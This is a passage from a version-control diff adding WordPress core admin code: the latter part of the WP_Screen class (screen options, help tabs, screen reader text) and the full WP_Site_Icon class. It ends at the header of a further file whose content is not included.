+	 *
+	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
+	 */
+	public function set_parentage( $parent_file ) {
+		$this->parent_file = $parent_file;
+		list( $this->parent_base ) = explode( '?', $parent_file );
+		$this->parent_base = str_replace( '.php', '', $this->parent_base );
+	}
+
+	/**
+	 * Adds an option for the screen.
+	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add screen options.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $option Option ID
+	 * @param mixed $args Option-dependent arguments.
+	 */
+	public function add_option( $option, $args = array() ) {
+		$this->_options[ $option ] = $args;
+	}
+
+	/**
+	 * Remove an option from the screen.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param string $option Option ID.
+	 */
+	public function remove_option( $option ) {
+		unset( $this->_options[ $option ] );
+	}
+
+	/**
+	 * Remove all options from the screen.
+	 *
+	 * @since 3.8.0
+	 */
+	public function remove_options() {
+		$this->_options = array();
+	}
+
+	/**
+	 * Get the options registered for the screen.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @return array Options with arguments.
+	 */
+	public function get_options() {
+		return $this->_options;
+	}
+
+	/**
+	 * Gets the arguments for an option for the screen.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $option Option name.
+	 * @param string $key    Optional. Specific array key for when the option is an array.
+	 *                       Default false.
+	 * @return string The option value if set, null otherwise.
+	 */
+	public function get_option( $option, $key = false ) {
+		if ( ! isset( $this->_options[ $option ] ) )
+			return null;
+		if ( $key ) {
+			if ( isset( $this->_options[ $option ][ $key ] ) )
+				return $this->_options[ $option ][ $key ];
+			return null;
+		}
+		return $this->_options[ $option ];
+	}
+
+	/**
+	 * Gets the help tabs registered for the screen.
+	 *
+	 * @since 3.4.0
+	 * @since 4.4.0 Help tabs are ordered by their priority.
+	 *
+	 * @return array Help tabs with arguments.
+	 */
+	public function get_help_tabs() {
+		$help_tabs = $this->_help_tabs;
+
+		$priorities = array();
+		foreach ( $help_tabs as $help_tab ) {
+			if ( isset( $priorities[ $help_tab['priority'] ] ) ) {
+				$priorities[ $help_tab['priority'] ][] = $help_tab;
+			} else {
+				$priorities[ $help_tab['priority'] ] = array( $help_tab );
+			}
+		}
+
+		ksort( $priorities );
+
+		$sorted = array();
+		foreach ( $priorities as $list ) {
+			foreach ( $list as $tab ) {
+				$sorted[ $tab['id'] ] = $tab;
+			}
+		}
+
+		return $sorted;
+	}
+
+	/**
+	 * Gets the arguments for a help tab.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Help Tab ID.
+	 * @return array Help tab arguments.
+	 */
+	public function get_help_tab( $id ) {
+		if ( ! isset( $this->_help_tabs[ $id ] ) )
+			return null;
+		return $this->_help_tabs[ $id ];
+	}
+
+	/**
+	 * Add a help tab to the contextual help for the screen.
+	 * Call this on the load-$pagenow hook for the relevant screen.
+	 *
+	 * @since 3.3.0
+	 * @since 4.4.0 The `$priority` argument was added.
+	 *
+	 * @param array $args {
+	 *     Array of arguments used to display the help tab.
+	 *
+	 *     @type string $title    Title for the tab. Default false.
+	 *     @type string $id       Tab ID. Must be HTML-safe. Default false.
+	 *     @type string $content  Optional. Help tab content in plain text or HTML. Default empty string.
+	 *     @type string $callback Optional. A callback to generate the tab content. Default false.
+	 *     @type int    $priority Optional. The priority of the tab, used for ordering. Default 10.
+	 * }
+	 */
+	public function add_help_tab( $args ) {
+		$defaults = array(
+			'title'    => false,
+			'id'       => false,
+			'content'  => '',
+			'callback' => false,
+			'priority' => 10,
+		);
+		$args = wp_parse_args( $args, $defaults );
+
+		$args['id'] = sanitize_html_class( $args['id'] );
+
+		// Ensure we have an ID and title.
+		if ( ! $args['id'] || ! $args['title'] )
+			return;
+
+		// Allows for overriding an existing tab with that ID.
+		$this->_help_tabs[ $args['id'] ] = $args;
+	}
+
+	/**
+	 * Removes a help tab from the contextual help for the screen.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $id The help tab ID.
+	 */
+	public function remove_help_tab( $id ) {
+		unset( $this->_help_tabs[ $id ] );
+	}
+
+	/**
+	 * Removes all help tabs from the contextual help for the screen.
+	 *
+	 * @since 3.3.0
+	 */
+	public function remove_help_tabs() {
+		$this->_help_tabs = array();
+	}
+
+	/**
+	 * Gets the content from a contextual help sidebar.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Contents of the help sidebar.
+	 */
+	public function get_help_sidebar() {
+		return $this->_help_sidebar;
+	}
+
+	/**
+	 * Add a sidebar to the contextual help for the screen.
+	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add a sidebar to the contextual help.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $content Sidebar content in plain text or HTML.
+	 */
+	public function set_help_sidebar( $content ) {
+		$this->_help_sidebar = $content;
+	}
+
+	/**
+	 * Gets the number of layout columns the user has selected.
+	 *
+	 * The layout_columns option controls the max number and default number of
+	 * columns. This method returns the number of columns within that range selected
+	 * by the user via Screen Options. If no selection has been made, the default
+	 * provisioned in layout_columns is returned. If the screen does not support
+	 * selecting the number of layout columns, 0 is returned.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return int Number of columns to display.
+	 */
+	public function get_columns() {
+		return $this->columns;
+	}
+
+ 	/**
+	 * Get the accessible hidden headings and text used in the screen.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see set_screen_reader_content() For more information on the array format.
+	 *
+	 * @return array An associative array of screen reader text strings.
+	 */
+	public function get_screen_reader_content() {
+		return $this->_screen_reader_content;
+	}
+
+	/**
+	 * Get a screen reader text string.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Screen reader text array named key.
+	 * @return string Screen reader text string.
+	 */
+	public function get_screen_reader_text( $key ) {
+		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
+			return null;
+		}
+		return $this->_screen_reader_content[ $key ];
+	}
+
+	/**
+	 * Add accessible hidden headings and text for the screen.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $content {
+	 *     An associative array of screen reader text strings.
+	 *
+	 *     @type string $heading_views      Screen reader text for the filter links heading.
+	 *                                      Default 'Filter items list'.
+	 *     @type string $heading_pagination Screen reader text for the pagination heading.
+	 *                                      Default 'Items list navigation'.
+	 *     @type string $heading_list       Screen reader text for the items list heading.
+	 *                                      Default 'Items list'.
+	 * }
+	 */
+	public function set_screen_reader_content( $content = array() ) {
+		$defaults = array(
+			'heading_views'      => __( 'Filter items list' ),
+			'heading_pagination' => __( 'Items list navigation' ),
+			'heading_list'       => __( 'Items list' ),
+		);
+		$content = wp_parse_args( $content, $defaults );
+
+		$this->_screen_reader_content = $content;
+	}
+
+	/**
+	 * Remove all the accessible hidden headings and text for the screen.
+	 *
+	 * @since 4.4.0
+	 */
+	public function remove_screen_reader_content() {
+		$this->_screen_reader_content = array();
+	}
+
+	/**
+	 * Render the screen's help section.
+	 *
+	 * This will trigger the deprecated filters for backward compatibility.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @global string $screen_layout_columns
+	 */
+	public function render_screen_meta() {
+
+		/**
+		 * Filters the legacy contextual help list.
+		 *
+		 * @since 2.7.0
+		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+		 *                   get_current_screen()->remove_help_tab() instead.
+		 *
+		 * @param array     $old_compat_help Old contextual help.
+		 * @param WP_Screen $this            Current WP_Screen instance.
+		 */
+		self::$_old_compat_help = apply_filters( 'contextual_help_list', self::$_old_compat_help, $this );
+
+		$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';
+
+		/**
+		 * Filters the legacy contextual help text.
+		 *
+		 * @since 2.7.0
+		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+		 *                   get_current_screen()->remove_help_tab() instead.
+		 *
+		 * @param string    $old_help  Help text that appears on the screen.
+		 * @param string    $screen_id Screen ID.
+		 * @param WP_Screen $this      Current WP_Screen instance.
+		 *
+		 */
+		$old_help = apply_filters( 'contextual_help', $old_help, $this->id, $this );
+
+		// Default help only if there is no old-style block of text and no new-style help tabs.
+		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {
+
+			/**
+			 * Filters the default legacy contextual help text.
+			 *
+			 * @since 2.8.0
+			 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
+			 *                   get_current_screen()->remove_help_tab() instead.
+			 *
+			 * @param string $old_help_default Default contextual help text.
+			 */
+			$default_help = apply_filters( 'default_contextual_help', '' );
+			if ( $default_help )
+				$old_help = '<p>' . $default_help . '</p>';
+		}
+
+		if ( $old_help ) {
+			$this->add_help_tab( array(
+				'id'      => 'old-contextual-help',
+				'title'   => __('Overview'),
+				'content' => $old_help,
+			) );
+		}
+
+		$help_sidebar = $this->get_help_sidebar();
+
+		$help_class = 'hidden';
+		if ( ! $help_sidebar )
+			$help_class .= ' no-sidebar';
+
+		// Time to render!
+		?>
+		<div id="screen-meta" class="metabox-prefs">
+
+			<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e('Contextual Help Tab'); ?>">
+				<div id="contextual-help-back"></div>
+				<div id="contextual-help-columns">
+					<div class="contextual-help-tabs">
+						<ul>
+						<?php
+						$class = ' class="active"';
+						foreach ( $this->get_help_tabs() as $tab ) :
+							$link_id  = "tab-link-{$tab['id']}";
+							$panel_id = "tab-panel-{$tab['id']}";
+							?>
+
+							<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
+								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
+									<?php echo esc_html( $tab['title'] ); ?>
+								</a>
+							</li>
+						<?php
+							$class = '';
+						endforeach;
+						?>
+						</ul>
+					</div>
+
+					<?php if ( $help_sidebar ) : ?>
+					<div class="contextual-help-sidebar">
+						<?php echo $help_sidebar; ?>
+					</div>
+					<?php endif; ?>
+
+					<div class="contextual-help-tabs-wrap">
+						<?php
+						$classes = 'help-tab-content active';
+						foreach ( $this->get_help_tabs() as $tab ):
+							$panel_id = "tab-panel-{$tab['id']}";
+							?>
+
+							<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
+								<?php
+								// Print tab content.
+								echo $tab['content'];
+
+								// If it exists, fire tab callback.
+								if ( ! empty( $tab['callback'] ) )
+									call_user_func_array( $tab['callback'], array( $this, $tab ) );
+								?>
+							</div>
+						<?php
+							$classes = 'help-tab-content';
+						endforeach;
+						?>
+					</div>
+				</div>
+			</div>
+		<?php
+		// Setup layout columns
+
+		/**
+		 * Filters the array of screen layout columns.
+		 *
+		 * This hook provides back-compat for plugins using the back-compat
+		 * Filters instead of add_screen_option().
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array     $empty_columns Empty array.
+		 * @param string    $screen_id     Screen ID.
+		 * @param WP_Screen $this          Current WP_Screen instance.
+		 */
+		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );
+
+		if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) )
+			$this->add_option( 'layout_columns', array('max' => $columns[ $this->id ] ) );
+
+		if ( $this->get_option( 'layout_columns' ) ) {
+			$this->columns = (int) get_user_option("screen_layout_$this->id");
+
+			if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) )
+				$this->columns = $this->get_option( 'layout_columns', 'default' );
+		}
+		$GLOBALS[ 'screen_layout_columns' ] = $this->columns; // Set the global for back-compat.
+
+		// Add screen options
+		if ( $this->show_screen_options() )
+			$this->render_screen_options();
+		?>
+		</div>
+		<?php
+		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() )
+			return;
+		?>
+		<div id="screen-meta-links">
+		<?php if ( $this->get_help_tabs() ) : ?>
+			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
+			<button type="button" id="contextual-help-link" class="button show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></button>
+			</div>
+		<?php endif;
+		if ( $this->show_screen_options() ) : ?>
+			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
+			<button type="button" id="show-settings-link" class="button show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></button>
+			</div>
+		<?php endif; ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 *
+	 * @global array $wp_meta_boxes
+	 *
+	 * @return bool
+	 */
+	public function show_screen_options() {
+		global $wp_meta_boxes;
+
+		if ( is_bool( $this->_show_screen_options ) )
+			return $this->_show_screen_options;
+
+		$columns = get_column_headers( $this );
+
+		$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );
+
+		switch ( $this->base ) {
+			case 'widgets':
+				$nonce = wp_create_nonce( 'widgets-access' );
+				$this->_screen_settings = '<p><a id="access-on" href="widgets.php?widgets-access=on&_wpnonce=' . urlencode( $nonce ) . '">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off&_wpnonce=' . urlencode( $nonce ) . '">' . __('Disable accessibility mode') . "</a></p>\n";
+				break;
+			case 'post' :
+				$expand = '<fieldset class="editor-expand hidden"><legend>' . __( 'Additional settings' ) . '</legend><label for="editor-expand-toggle">';
+				$expand .= '<input type="checkbox" id="editor-expand-toggle"' . checked( get_user_setting( 'editor_expand', 'on' ), 'on', false ) . ' />';
+				$expand .= __( 'Enable full-height editor and distraction-free functionality.' ) . '</label></fieldset>';
+				$this->_screen_settings = $expand;
+				break;
+			default:
+				$this->_screen_settings = '';
+				break;
+		}
+
+		/**
+		 * Filters the screen settings text displayed in the Screen Options tab.
+		 *
+		 * This filter is currently only used on the Widgets screen to enable
+		 * accessibility mode.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string    $screen_settings Screen settings.
+		 * @param WP_Screen $this            WP_Screen object.
+		 */
+		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );
+
+		if ( $this->_screen_settings || $this->_options )
+			$show_screen = true;
+
+		/**
+		 * Filters whether to show the Screen Options tab.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param bool      $show_screen Whether to show Screen Options tab.
+		 *                               Default true.
+		 * @param WP_Screen $this        Current WP_Screen instance.
+		 */
+		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
+		return $this->_show_screen_options;
+	}
+
+	/**
+	 * Render the screen options tab.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $options {
+	 *     @type bool $wrap  Whether the screen-options-wrap div will be included. Defaults to true.
+	 * }
+	 */
+	public function render_screen_options( $options = array() ) {
+		$options = wp_parse_args( $options, array(
+			'wrap' => true,
+		) );
+
+		$wrapper_start = $wrapper_end = $form_start = $form_end = '';
+
+		// Output optional wrapper.
+		if ( $options['wrap'] ) {
+			$wrapper_start = '<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="' . esc_attr__( 'Screen Options Tab' ) . '">';
+			$wrapper_end = '</div>';
+		}
+
+		// Don't output the form and nonce for the widgets accessibility mode links.
+		if ( 'widgets' !== $this->base ) {
+			$form_start = "\n<form id='adv-settings' method='post'>\n";
+			$form_end = "\n" . wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false, false ) . "\n</form>\n";
+		}
+
+		echo $wrapper_start . $form_start;
+
+		$this->render_meta_boxes_preferences();
+		$this->render_list_table_columns_preferences();
+		$this->render_screen_layout();
+		$this->render_per_page_options();
+		$this->render_view_mode();
+		echo $this->_screen_settings;
+
+		/**
+		 * Filters whether to show the Screen Options submit button.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param bool      $show_button Whether to show Screen Options submit button.
+		 *                               Default false.
+		 * @param WP_Screen $this        Current WP_Screen instance.
+		 */
+		$show_button = apply_filters( 'screen_options_show_submit', false, $this );
+
+		if ( $show_button ) {
+			submit_button( __( 'Apply' ), 'primary', 'screen-options-apply', true );
+		}
+
+		echo $form_end . $wrapper_end;
+	}
+
+	/**
+	 * Render the meta boxes preferences.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global array $wp_meta_boxes
+	 */
+	public function render_meta_boxes_preferences() {
+		global $wp_meta_boxes;
+
+		if ( ! isset( $wp_meta_boxes[ $this->id ] ) ) {
+			return;
+		}
+		?>
+		<fieldset class="metabox-prefs">
+		<legend><?php _e( 'Boxes' ); ?></legend>
+		<?php
+			meta_box_prefs( $this );
+
+			if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
+				if ( isset( $_GET['welcome'] ) ) {
+					$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
+					update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
+				} else {
+					$welcome_checked = get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
+					if ( '' === $welcome_checked ) {
+						$welcome_checked = '1';
+					}
+					if ( '2' === $welcome_checked && wp_get_current_user()->user_email != get_option( 'admin_email' ) ) {
+						$welcome_checked = false;
+					}
+				}
+				echo '<label for="wp_welcome_panel-hide">';
+				echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
+				echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
+			}
+
+		?>
+		</fieldset>
+		<?php
+	}
+
+	/**
+	 * Render the list table columns preferences.
+	 *
+	 * @since 4.4.0
+	 */
+	public function render_list_table_columns_preferences() {
+
+		$columns = get_column_headers( $this );
+		$hidden  = get_hidden_columns( $this );
+
+		if ( ! $columns ) {
+			return;
+		}
+
+		$legend = ! empty( $columns['_title'] ) ? $columns['_title'] : __( 'Columns' );
+		?>
+		<fieldset class="metabox-prefs">
+		<legend><?php echo $legend; ?></legend>
+		<?php
+		$special = array( '_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname' );
+
+		foreach ( $columns as $column => $title ) {
+			// Can't hide these for they are special
+			if ( in_array( $column, $special ) ) {
+				continue;
+			}
+
+			if ( empty( $title ) ) {
+				continue;
+			}
+
+			/*
+			 * The Comments column uses HTML in the display name with some screen
+			 * reader text. Make sure to strip tags from the Comments column
+			 * title and any other custom column title plugins might add.
+			 */
+			$title = wp_strip_all_tags( $title );
+
+			$id = "$column-hide";
+			echo '<label>';
+			echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( ! in_array( $column, $hidden ), true, false ) . ' />';
+			echo "$title</label>\n";
+		}
+		?>
+		</fieldset>
+		<?php
+	}
+
+	/**
+	 * Render the option for number of columns on the page
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_screen_layout() {
+		if ( ! $this->get_option( 'layout_columns' ) ) {
+			return;
+		}
+
+		$screen_layout_columns = $this->get_columns();
+		$num = $this->get_option( 'layout_columns', 'max' );
+
+		?>
+		<fieldset class='columns-prefs'>
+		<legend class="screen-layout"><?php _e( 'Layout' ); ?></legend><?php
+			for ( $i = 1; $i <= $num; ++$i ):
+				?>
+				<label class="columns-prefs-<?php echo $i; ?>">
+					<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>'
+						<?php checked( $screen_layout_columns, $i ); ?> />
+					<?php printf( _n( '%s column', '%s columns', $i ), number_format_i18n( $i ) ); ?>
+				</label>
+				<?php
+			endfor; ?>
+		</fieldset>
+		<?php
+	}
+
+	/**
+	 * Render the items per page option
+	 *
+	 * @since 3.3.0
+	 */
+	public function render_per_page_options() {
+		if ( null === $this->get_option( 'per_page' ) ) {
+			return;
+		}
+
+		$per_page_label = $this->get_option( 'per_page', 'label' );
+		if ( null === $per_page_label ) {
+			$per_page_label = __( 'Number of items per page:' );
+		}
+
+		$option = $this->get_option( 'per_page', 'option' );
+		if ( ! $option ) {
+			$option = str_replace( '-', '_', "{$this->id}_per_page" );
+		}
+
+		$per_page = (int) get_user_option( $option );
+		if ( empty( $per_page ) || $per_page < 1 ) {
+			$per_page = $this->get_option( 'per_page', 'default' );
+			if ( ! $per_page ) {
+				$per_page = 20;
+			}
+		}
+
+		if ( 'edit_comments_per_page' == $option ) {
+			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';
+
+			/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
+			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
+		} elseif ( 'categories_per_page' == $option ) {
+			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
+			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
+		} else {
+			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
+			$per_page = apply_filters( "{$option}", $per_page );
+		}
+
+		// Back compat
+		if ( isset( $this->post_type ) ) {
+			/** This filter is documented in wp-admin/includes/post.php */
+			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
+		}
+
+		// This needs a submit button
+		add_filter( 'screen_options_show_submit', '__return_true' );
+
+		?>
+		<fieldset class="screen-options">
+		<legend><?php _e( 'Pagination' ); ?></legend>
+			<?php if ( $per_page_label ) : ?>
+				<label for="<?php echo esc_attr( $option ); ?>"><?php echo $per_page_label; ?></label>
+				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
+					id="<?php echo esc_attr( $option ); ?>" maxlength="3"
+					value="<?php echo esc_attr( $per_page ); ?>" />
+			<?php endif; ?>
+				<input type="hidden" name="wp_screen_options[option]" value="<?php echo esc_attr( $option ); ?>" />
+		</fieldset>
+		<?php
+	}
+
+	/**
+	 * Render the list table view mode preferences.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global string $mode List table view mode.
+	 */
+	public function render_view_mode() {
+		$screen = get_current_screen();
+
+		// Currently only enabled for posts lists
+		if ( 'edit' !== $screen->base ) {
+			return;
+		}
+
+		$view_mode_post_types = get_post_types( array( 'hierarchical' => false, 'show_ui' => true ) );
+
+		/**
+		 * Filters the post types that have different view mode options.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $view_mode_post_types Array of post types that can change view modes.
+		 *                                    Default non-hierarchical post types with show_ui on.
+		 */
+		$view_mode_post_types = apply_filters( 'view_mode_post_types', $view_mode_post_types );
+
+		if ( ! in_array( $this->post_type, $view_mode_post_types ) ) {
+			return;
+		}
+
+		global $mode;
+
+		// This needs a submit button
+		add_filter( 'screen_options_show_submit', '__return_true' );
+?>
+		<fieldset class="metabox-prefs view-mode">
+		<legend><?php _e( 'View Mode' ); ?></legend>
+				<label for="list-view-mode">
+					<input id="list-view-mode" type="radio" name="mode" value="list" <?php checked( 'list', $mode ); ?> />
+					<?php _e( 'List View' ); ?>
+				</label>
+				<label for="excerpt-view-mode">
+					<input id="excerpt-view-mode" type="radio" name="mode" value="excerpt" <?php checked( 'excerpt', $mode ); ?> />
+					<?php _e( 'Excerpt View' ); ?>
+				</label>
+		</fieldset>
+<?php
+	}
+
+	/**
+	 * Render screen reader text.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key The screen reader text array named key.
+	 * @param string $tag Optional. The HTML tag to wrap the screen reader text. Default h2.
+	 */
+	public function render_screen_reader_content( $key = '', $tag = 'h2' ) {
+
+		if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
+			return;
+		}
+		echo "<$tag class='screen-reader-text'>" . $this->_screen_reader_content[ $key ] . "</$tag>";
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-site-icon.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-site-icon.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-site-icon.php	(revision 56912)
@@ -0,0 +1,233 @@
+<?php
+/**
+ * Administration API: WP_Site_Icon class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.3.0
+ */
+
+/**
+ * Core class used to implement site icon functionality.
+ *
+ * @since 4.3.0
+ */
+class WP_Site_Icon {
+
+	/**
+	 * The minimum size of the site icon.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $min_size  = 512;
+
+	/**
+	 * The size to which to crop the image so that we can display it in the UI nicely.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $page_crop = 512;
+
+	/**
+	 * List of site icon sizes.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	public $site_icon_sizes = array(
+		/*
+		 * Square, medium sized tiles for IE11+.
+		 *
+		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
+		 */
+		270,
+
+		/*
+		 * App icon for Android/Chrome.
+		 *
+		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
+		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
+		 */
+		192,
+
+		/*
+		 * App icons up to iPhone 6 Plus.
+		 *
+		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
+		 */
+		180,
+
+		// Our regular Favicon.
+		32,
+	);
+
+	/**
+	 * Registers actions and filters.
+	 *
+	 * @since 4.3.0
+	 */
+	public function __construct() {
+		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
+		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
+	}
+
+	/**
+	 * Creates an attachment 'object'.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $cropped              Cropped image URL.
+	 * @param int    $parent_attachment_id Attachment ID of parent image.
+	 * @return array Attachment object.
+	 */
+	public function create_attachment_object( $cropped, $parent_attachment_id ) {
+		$parent     = get_post( $parent_attachment_id );
+		$parent_url = wp_get_attachment_url( $parent->ID );
+		$url        = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );
+
+		$size       = @getimagesize( $cropped );
+		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
+
+		$object = array(
+			'ID'             => $parent_attachment_id,
+			'post_title'     => basename( $cropped ),
+			'post_content'   => $url,
+			'post_mime_type' => $image_type,
+			'guid'           => $url,
+			'context'        => 'site-icon'
+		);
+
+		return $object;
+	}
+
+	/**
+	 * Inserts an attachment.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array  $object Attachment object.
+	 * @param string $file   File path of the attached image.
+	 * @return int           Attachment ID
+	 */
+	public function insert_attachment( $object, $file ) {
+		$attachment_id = wp_insert_attachment( $object, $file );
+		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );
+
+		/**
+		 * Filters the site icon attachment metadata.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @see wp_generate_attachment_metadata()
+		 *
+		 * @param array $metadata Attachment metadata.
+		 */
+		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
+		wp_update_attachment_metadata( $attachment_id, $metadata );
+
+		return $attachment_id;
+	}
+
+	/**
+	 * Adds additional sizes to be made when creating the site_icon images.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $sizes List of additional sizes.
+	 * @return array Additional image sizes.
+	 */
+	public function additional_sizes( $sizes = array() ) {
+		$only_crop_sizes = array();
+
+		/**
+		 * Filters the different dimensions that a site icon is saved in.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param array $site_icon_sizes Sizes available for the Site Icon.
+		 */
+		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
+
+		// Use a natural sort of numbers.
+		natsort( $this->site_icon_sizes );
+		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );
+
+		// ensure that we only resize the image into
+		foreach ( $sizes as $name => $size_array ) {
+			if ( isset( $size_array['crop'] ) ) {
+				$only_crop_sizes[ $name ] = $size_array;
+			}
+		}
+
+		foreach ( $this->site_icon_sizes as $size ) {
+			if ( $size < $this->min_size ) {
+				$only_crop_sizes[ 'site_icon-' . $size ] = array(
+					'width ' => $size,
+					'height' => $size,
+					'crop'   => true,
+				);
+			}
+		}
+
+		return $only_crop_sizes;
+	}
+
+	/**
+	 * Adds Site Icon sizes to the array of image sizes on demand.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $sizes List of image sizes.
+	 * @return array List of intermediate image sizes.
+	 */
+	public function intermediate_image_sizes( $sizes = array() ) {
+		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
+		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
+		foreach ( $this->site_icon_sizes as $size ) {
+			$sizes[] = 'site_icon-' . $size;
+		}
+
+		return $sizes;
+	}
+
+	/**
+	 * Deletes the Site Icon when the image file is deleted.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param int $post_id Attachment ID.
+	 */
+	public function delete_attachment_data( $post_id ) {
+		$site_icon_id = get_option( 'site_icon' );
+
+		if ( $site_icon_id && $post_id == $site_icon_id ) {
+			delete_option( 'site_icon' );
+		}
+	}
+
+	/**
+	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
+	 *                                    array of values.
+	 * @param int               $post_id  Post ID.
+	 * @param string            $meta_key Meta key.
+	 * @param string|array      $single   Meta value, or an array of values.
+	 * @return array|null|string The attachment metadata value, array of values, or null.
+	 */
+	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
+		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
+			$site_icon_id = get_option( 'site_icon' );
+
+			if ( $post_id == $site_icon_id ) {
+				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
+			}
+		}
+
+		return $value;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-terms-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-terms-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-terms-list-table.php	(revision 56912)
